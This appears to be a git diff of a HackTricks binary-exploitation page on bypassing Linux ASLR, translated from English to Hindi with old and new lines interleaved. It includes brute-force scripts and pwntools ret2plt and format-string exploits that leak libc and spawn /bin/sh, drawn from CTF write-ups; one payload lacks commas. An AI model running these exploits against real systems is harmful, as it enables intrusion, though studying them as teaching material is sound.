ASLR को **सक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में **2** का मान लिख सकते हैं। इसके लिए आमतौर पर रूट विशेषाधिकार की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्षम करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **रिबूट के दौरान स्थिरता**
|
||||
|
||||
### **Persistence Across Reboots**
|
||||
|
||||
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
|
||||
|
||||
`echo` कमांड के साथ किए गए परिवर्तन अस्थायी होते हैं और रिबूट पर रीसेट हो जाएंगे। परिवर्तन को स्थायी बनाने के लिए, आपको `/etc/sysctl.conf` फ़ाइल को संपादित करना होगा और निम्नलिखित पंक्ति को जोड़ना या संशोधित करना होगा:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
|
||||
After editing `/etc/sysctl.conf`, apply the changes with:
|
||||
|
||||
`/etc/sysctl.conf` को संपादित करने के बाद, परिवर्तनों को लागू करने के लिए:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
यह सुनिश्चित करेगा कि आपके ASLR सेटिंग्स रिबूट के दौरान बनी रहें।
|
||||
|
||||
This will ensure that your ASLR settings remain across reboots.
|
||||
## **बायपास**
|
||||
|
||||
## **Bypasses**
|
||||
### 32बिट ब्रूट-फोर्सिंग
|
||||
|
||||
### 32bit brute-forcing
|
||||
PaX प्रक्रिया पते की जगह को **3 समूहों** में विभाजित करता है:
|
||||
|
||||
PaX divides the process address space into **3 groups**:
|
||||
- **कोड और डेटा** (आरंभित और अप्रारंभित): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट्स** की एंट्रॉपी। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से आरंभ किया जाता है और प्रारंभिक पते में जोड़ा जाता है।
|
||||
- **मेमोरी** जो `mmap()` द्वारा आवंटित की गई है और **साझा पुस्तकालय** —> **16 बिट्स**, जिसे `delta_mmap` कहा जाता है।
|
||||
- **स्टैक** —> **24 बिट्स**, जिसे `delta_stack` कहा जाता है। हालाँकि, यह प्रभावी रूप से **11 बिट्स** का उपयोग करता है (10वें से 20वें बाइट तक समावेशी), **16 बाइट्स** के लिए संरेखित —> इसके परिणामस्वरूप **524,288 संभावित वास्तविक स्टैक पते** होते हैं।
|
||||
|
||||
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
|
||||
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
|
||||
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
|
||||
पिछला डेटा 32-बिट सिस्टम के लिए है और अंतिम एंट्रॉपी में कमी ASLR को बायपास करना संभव बनाती है, जब तक कि शोषण सफलतापूर्वक पूरा नहीं हो जाता।
|
||||
|
||||
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
|
||||
|
||||
#### Brute-force ideas:
|
||||
|
||||
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
|
||||
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
|
||||
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
|
||||
#### ब्रूट-फोर्स विचार:
|
||||
|
||||
- यदि आपके पास **शेलकोड से पहले एक बड़ा NOP स्लेड** रखने के लिए पर्याप्त ओवरफ्लो है, तो आप बस स्टैक में पते को ब्रूट-फोर्स कर सकते हैं जब तक कि प्रवाह **NOP स्लेड के कुछ हिस्से पर कूद न जाए**।
|
||||
- यदि ओवरफ्लो इतना बड़ा नहीं है और शोषण को स्थानीय रूप से चलाया जा सकता है, तो **एक पर्यावरण चर में NOP स्लेड और शेलकोड जोड़ना** संभव है।
|
||||
- यदि शोषण स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32बिट सिस्टम के लिए उपयोगी):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
|
||||
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
|
||||
- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप **`libc` फ़ंक्शन `usleep` के पते को ब्रूट-फोर्स करने** की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त लेता है**, तो आपने इस फ़ंक्शन का पता खोज लिया है।
|
||||
|
||||
> [!TIP]
|
||||
> In 64bit systems the entropy is much higher and this shouldn't possible.
|
||||
> 64-बिट सिस्टम में एंट्रॉपी बहुत अधिक होती है और यह संभव नहीं होना चाहिए।
|
||||
|
||||
### 64 bits stack brute-forcing
|
||||
|
||||
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
|
||||
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
|
||||
### 64 बिट स्टैक ब्रूट-फोर्सिंग
|
||||
|
||||
यह संभव है कि स्टैक के एक बड़े हिस्से को एन्व वेरिएबल्स के साथ भरा जाए और फिर इसे शोषण करने के लिए स्थानीय रूप से सैकड़ों/हजारों बार दुरुपयोग करने की कोशिश की जाए।\
|
||||
निम्नलिखित कोड दिखाता है कि **स्टैक में केवल एक पता चुनना** कैसे संभव है और हर **कुछ सौ निष्पादनों** में वह पता **NOP निर्देश** को समाहित करेगा:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned long long address = 0xffffff1e7e38;
|
||||
unsigned int* ptr = (unsigned int*)address;
|
||||
unsigned int value = *ptr;
|
||||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||||
return 0;
|
||||
unsigned long long address = 0xffffff1e7e38;
|
||||
unsigned int* ptr = (unsigned int*)address;
|
||||
unsigned int value = *ptr;
|
||||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
|
||||
|
||||
# Define the environment variables you want to set
|
||||
env_vars = {
|
||||
'a': shellcode_env_var,
|
||||
'b': shellcode_env_var,
|
||||
'c': shellcode_env_var,
|
||||
'd': shellcode_env_var,
|
||||
'e': shellcode_env_var,
|
||||
'f': shellcode_env_var,
|
||||
'g': shellcode_env_var,
|
||||
'h': shellcode_env_var,
|
||||
'i': shellcode_env_var,
|
||||
'j': shellcode_env_var,
|
||||
'k': shellcode_env_var,
|
||||
'l': shellcode_env_var,
|
||||
'm': shellcode_env_var,
|
||||
'n': shellcode_env_var,
|
||||
'o': shellcode_env_var,
|
||||
'p': shellcode_env_var,
|
||||
'a': shellcode_env_var,
|
||||
'b': shellcode_env_var,
|
||||
'c': shellcode_env_var,
|
||||
'd': shellcode_env_var,
|
||||
'e': shellcode_env_var,
|
||||
'f': shellcode_env_var,
|
||||
'g': shellcode_env_var,
|
||||
'h': shellcode_env_var,
|
||||
'i': shellcode_env_var,
|
||||
'j': shellcode_env_var,
|
||||
'k': shellcode_env_var,
|
||||
'l': shellcode_env_var,
|
||||
'm': shellcode_env_var,
|
||||
'n': shellcode_env_var,
|
||||
'o': shellcode_env_var,
|
||||
'p': shellcode_env_var,
|
||||
}
|
||||
|
||||
cont = 0
|
||||
while True:
|
||||
cont += 1
|
||||
cont += 1
|
||||
|
||||
if cont % 10000 == 0:
|
||||
break
|
||||
if cont % 10000 == 0:
|
||||
break
|
||||
|
||||
print(cont, end="\r")
|
||||
# Define the path to your binary
|
||||
binary_path = './aslr-testing'
|
||||
print(cont, end="\r")
|
||||
# Define the path to your binary
|
||||
binary_path = './aslr-testing'
|
||||
|
||||
try:
|
||||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||||
output = process.communicate()[0]
|
||||
if "0xd5" in str(output):
|
||||
print(str(cont) + " -> " + output)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(traceback.format_exc())
|
||||
pass
|
||||
try:
|
||||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||||
output = process.communicate()[0]
|
||||
if "0xd5" in str(output):
|
||||
print(str(cont) + " -> " + output)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(traceback.format_exc())
|
||||
pass
|
||||
```
|
||||
|
||||
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Local Information (`/proc/[pid]/stat`)
|
||||
### स्थानीय जानकारी (`/proc/[pid]/stat`)
|
||||
|
||||
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
|
||||
एक प्रक्रिया की फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी के लिए पढ़ने योग्य होती है और इसमें **दिलचस्प** जानकारी होती है जैसे:
|
||||
|
||||
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
|
||||
- **startstack**: The address of the start of the **stack**
|
||||
- **start_data** & **end_data**: Addresses above and below where the **BSS** is
|
||||
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
|
||||
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
|
||||
- **env_start** &**env_end**: Addresses above and below where **env variables** are.
|
||||
- **startcode** & **endcode**: बाइनरी के **TEXT** के ऊपर और नीचे के पते
|
||||
- **startstack**: **stack** की शुरुआत का पता
|
||||
- **start_data** & **end_data**: जहाँ **BSS** है, उसके ऊपर और नीचे के पते
|
||||
- **kstkesp** & **kstkeip**: वर्तमान **ESP** और **EIP** पते
|
||||
- **arg_start** & **arg_end**: जहाँ **cli arguments** हैं, उसके ऊपर और नीचे के पते।
|
||||
- **env_start** &**env_end**: जहाँ **env variables** हैं, उसके ऊपर और नीचे के पते।
|
||||
|
||||
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
|
||||
इसलिए, यदि हमलावर उसी कंप्यूटर में है जहाँ बाइनरी का शोषण किया जा रहा है और यह बाइनरी कच्चे तर्कों से ओवरफ्लो की अपेक्षा नहीं करती, बल्कि एक अलग **इनपुट से जो इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है**। तो हमलावर के लिए **इस फ़ाइल से कुछ पते प्राप्त करना और उनके लिए शोषण के लिए ऑफसेट बनाना संभव है**।
|
||||
|
||||
> [!TIP]
|
||||
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
|
||||
> इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) पर `/proc/pid/stat` खोजें
|
||||
|
||||
### Having a leak
|
||||
### लीक होना
|
||||
|
||||
- **The challenge is giving a leak**
|
||||
|
||||
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
|
||||
- **चुनौती एक लीक देना है**
|
||||
|
||||
यदि आपको एक लीक दिया गया है (आसान CTF चुनौतियाँ), तो आप इससे ऑफसेट्स की गणना कर सकते हैं (मान लीजिए कि आप जानते हैं कि जिस सिस्टम का आप शोषण कर रहे हैं, उसमें कौन सा libc संस्करण उपयोग में है)। यह उदाहरण शोषण [**यहाँ से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जांच करें):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
- **ret2plt**
|
||||
|
||||
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
|
||||
एक बफर ओवरफ्लो का दुरुपयोग करते हुए, एक **ret2plt** का शोषण करना संभव होगा ताकि libc से एक फ़ंक्शन का पता निकाला जा सके। जाँचें:
|
||||
|
||||
{{#ref}}
|
||||
ret2plt.md
|
||||
@ -216,8 +198,7 @@ ret2plt.md
|
||||
|
||||
- **Format Strings Arbitrary Read**
|
||||
|
||||
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
||||
|
||||
जैसे कि ret2plt में, यदि आपके पास एक फॉर्मेट स्ट्रिंग्स कमजोरियों के माध्यम से एक मनमाना पढ़ने की क्षमता है, तो GOT से एक **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
|
||||
You can find more info about Format Strings arbitrary read in:
|
||||
आप फ़ॉर्मेट स्ट्रिंग्स के मनमाने पढ़ने के बारे में अधिक जानकारी यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
|
||||
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
Try to bypass ASLR abusing addresses inside the stack:
|
||||
ASLR को बायपास करने के लिए स्टैक के अंदर पते का दुरुपयोग करने का प्रयास करें:
|
||||
|
||||
{{#ref}}
|
||||
ret2ret.md
|
||||
@ -245,13 +225,12 @@ ret2ret.md
|
||||
|
||||
### vsyscall
|
||||
|
||||
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
|
||||
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
|
||||
**`vsyscall`** तंत्र प्रदर्शन को बढ़ाने के लिए काम करता है, जिससे कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित किया जा सकता है, हालाँकि वे मूल रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **स्थिर पते** में है, जो **ASLR** (एड्रेस स्पेस लेआउट रैंडमाइजेशन) के अधीन नहीं होते। इस स्थिर स्वभाव का मतलब है कि हमलावरों को उनके पते निर्धारित करने और उन्हें एक हमले में उपयोग करने के लिए सूचना लीक की भेद्यता की आवश्यकता नहीं होती है।\
|
||||
हालांकि, यहाँ कोई सुपर दिलचस्प गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए, एक `ret;` समकक्ष प्राप्त करना संभव है)
|
||||
|
||||
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
|
||||
|
||||
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
|
||||
(निम्नलिखित उदाहरण और कोड [**इस लेख से**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) है)
|
||||
|
||||
उदाहरण के लिए, एक हमलावर एक हमले में `0xffffffffff600800` पते का उपयोग कर सकता है। जबकि सीधे `ret` निर्देश पर कूदने का प्रयास करने से कुछ गैजेट्स को निष्पादित करने के बाद अस्थिरता या क्रैश हो सकता है, **vsyscall** अनुभाग द्वारा प्रदान किए गए `syscall` के प्रारंभ पर कूदना सफल हो सकता है। इस **vsyscall** पते पर निष्पादन को ले जाने वाले एक **ROP** गैजेट को सावधानीपूर्वक रखने से, एक हमलावर इस हमले के इस भाग के लिए **ASLR** को बायपास किए बिना कोड निष्पादन प्राप्त कर सकता है।
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
|
||||
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
gef➤ x/4i 0xffffffffff600800
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
gef➤ x/4i 0xffffffffff600800
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
```
|
||||
|
||||
### vDSO
|
||||
|
||||
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
|
||||
इसलिए ध्यान दें कि यदि कर्नेल को CONFIG_COMPAT_VDSO के साथ संकलित किया गया है, तो **vdso का दुरुपयोग करके ASLR को बायपास करना संभव हो सकता है** क्योंकि vdso पता यादृच्छिक नहीं होगा। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2vdso.md
|
||||
|
||||
@ -4,38 +4,35 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
|
||||
|
||||
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
||||
इस तकनीक का लक्ष्य **PLT से एक फ़ंक्शन का पता लीक करना** होगा ताकि ASLR को बायपास किया जा सके। इसका कारण यह है कि यदि, उदाहरण के लिए, आप libc से फ़ंक्शन `puts` का पता लीक करते हैं, तो आप **`libc` का बेस कहां है, यह गणना कर सकते हैं** और अन्य फ़ंक्शनों जैसे **`system`** तक पहुँचने के लिए ऑफसेट्स की गणना कर सकते हैं।
|
||||
|
||||
यह एक `pwntools` पेलोड के साथ किया जा सकता है जैसे कि ([**यहां से**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
# 64-bit
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
ध्यान दें कि **`puts`** (PLT से पते का उपयोग करते हुए) को GOT (ग्लोबल ऑफसेट टेबल) में स्थित `puts` के पते के साथ कॉल किया जाता है। इसका कारण यह है कि जब `puts` `puts` के GOT एंट्री को प्रिंट करता है, तो यह **एंट्री मेमोरी में `puts` का सटीक पता रखेगी**।
|
||||
|
||||
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**.
|
||||
|
||||
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
|
||||
यह भी ध्यान दें कि एक्सप्लॉइट में `main` का पता कैसे उपयोग किया जाता है ताकि जब `puts` अपनी निष्पादन समाप्त करता है, तो **बाइनरी फिर से `main` को कॉल करती है बजाय इसके कि वह बाहर निकल जाए** (ताकि लीक किया गया पता मान्य बना रहे)।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
|
||||
|
||||
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
|
||||
> ध्यान दें कि इसके काम करने के लिए **बाइनरी को PIE के साथ संकलित नहीं किया जा सकता** या आपको **PIE को बायपास करने के लिए एक लीक मिलना चाहिए** ताकि PLT, GOT और main के पते को जान सकें। अन्यथा, आपको पहले PIE को बायपास करना होगा।
|
||||
|
||||
आप इस [**बायपास का पूरा उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)। यह उस **उदाहरण** से अंतिम एक्सप्लॉइट था:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -46,10 +43,10 @@ p = process()
|
||||
p.recvline()
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## Other examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
|
||||
- 64 बिट, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम एक ओवरफ्लो को भरना है जब तक कि कैनरी का बाइट 0x00 न हो जाए, फिर puts को कॉल करें और इसे लीक करें। कैनरी के साथ एक ROP गैजेट बनाया जाता है जो puts को कॉल करता है ताकि GOT से puts का पता लीक किया जा सके और फिर `system('/bin/sh')` को कॉल करने के लिए एक ROP गैजेट।
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
|
||||
- 64 बिट, ASLR सक्षम, कोई कैनरी नहीं, एक चाइल्ड फंक्शन से मुख्य में स्टैक ओवरफ्लो। GOT से puts के पते को लीक करने के लिए puts को कॉल करने के लिए ROP गैजेट और फिर एक गैजेट को कॉल करें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,27 +4,27 @@
|
||||
|
||||
## Ret2ret
|
||||
|
||||
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**.
|
||||
इस तकनीक का मुख्य **लक्ष्य** ASLR को **स्टैक में एक मौजूदा पॉइंटर का दुरुपयोग करके बायपास करने** की कोशिश करना है।
|
||||
|
||||
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte).
|
||||
बुनियादी रूप से, स्टैक ओवरफ्लो आमतौर पर स्ट्रिंग्स के कारण होते हैं, और **स्ट्रिंग्स मेमोरी में अंत में एक नल बाइट के साथ समाप्त होती हैं**। यह मौजूदा पॉइंटर द्वारा इंगित स्थान को कम करने की कोशिश करने की अनुमति देता है। इसलिए यदि स्टैक में `0xbfffffdd` था, तो यह ओवरफ्लो इसे `0xbfffff00` में बदल सकता है (अंतिम शून्य बाइट को नोट करें)।
|
||||
|
||||
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached.
|
||||
यदि वह पता हमारे शेलकोड की ओर इंगित करता है, तो **`ret` निर्देश में पते जोड़कर** उस पते तक पहुंचना संभव है जब तक कि यह नहीं पहुंच जाता।
|
||||
|
||||
Therefore the attack would be like this:
|
||||
इसलिए हमला इस तरह होगा:
|
||||
|
||||
- NOP sled
|
||||
- Shellcode
|
||||
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled)
|
||||
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled
|
||||
- NOP स्लेड
|
||||
- शेलकोड
|
||||
- **`ret` के लिए पते के साथ EIP से स्टैक को ओवरराइट करें** (RET स्लेड)
|
||||
- 0x00 जो स्ट्रिंग द्वारा स्टैक से एक पते को संशोधित करके NOP स्लेड की ओर इंगित करता है
|
||||
|
||||
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
|
||||
[**इस लिंक**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) का पालन करते हुए आप एक कमजोर बाइनरी का उदाहरण देख सकते हैं और [**इसमें**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) एक्सप्लॉइट।
|
||||
|
||||
## Ret2pop
|
||||
|
||||
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\
|
||||
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change.
|
||||
यदि आप स्टैक में एक **परफेक्ट पॉइंटर पा सकते हैं जिसे आप संशोधित नहीं करना चाहते** (`ret2ret` में हम अंतिम सबसे कम बाइट को `0x00` में बदलते हैं), तो आप वही `ret2ret` हमला कर सकते हैं, लेकिन **RET स्लेड की लंबाई को 1 से कम करना होगा** (ताकि अंतिम `0x00` परफेक्ट पॉइंटर से ठीक पहले के डेटा को ओवरराइट करे), और **RET स्लेड का अंतिम** पता **`pop <reg>; ret`** की ओर इंगित करना चाहिए।\
|
||||
इस तरह, **परफेक्ट पॉइंटर से पहले का डेटा** स्टैक से हटा दिया जाएगा (यह डेटा `0x00` द्वारा प्रभावित होता है) और **अंतिम `ret` बिना किसी परिवर्तन के स्टैक में परफेक्ट पते की ओर इंगित करेगा**।
|
||||
|
||||
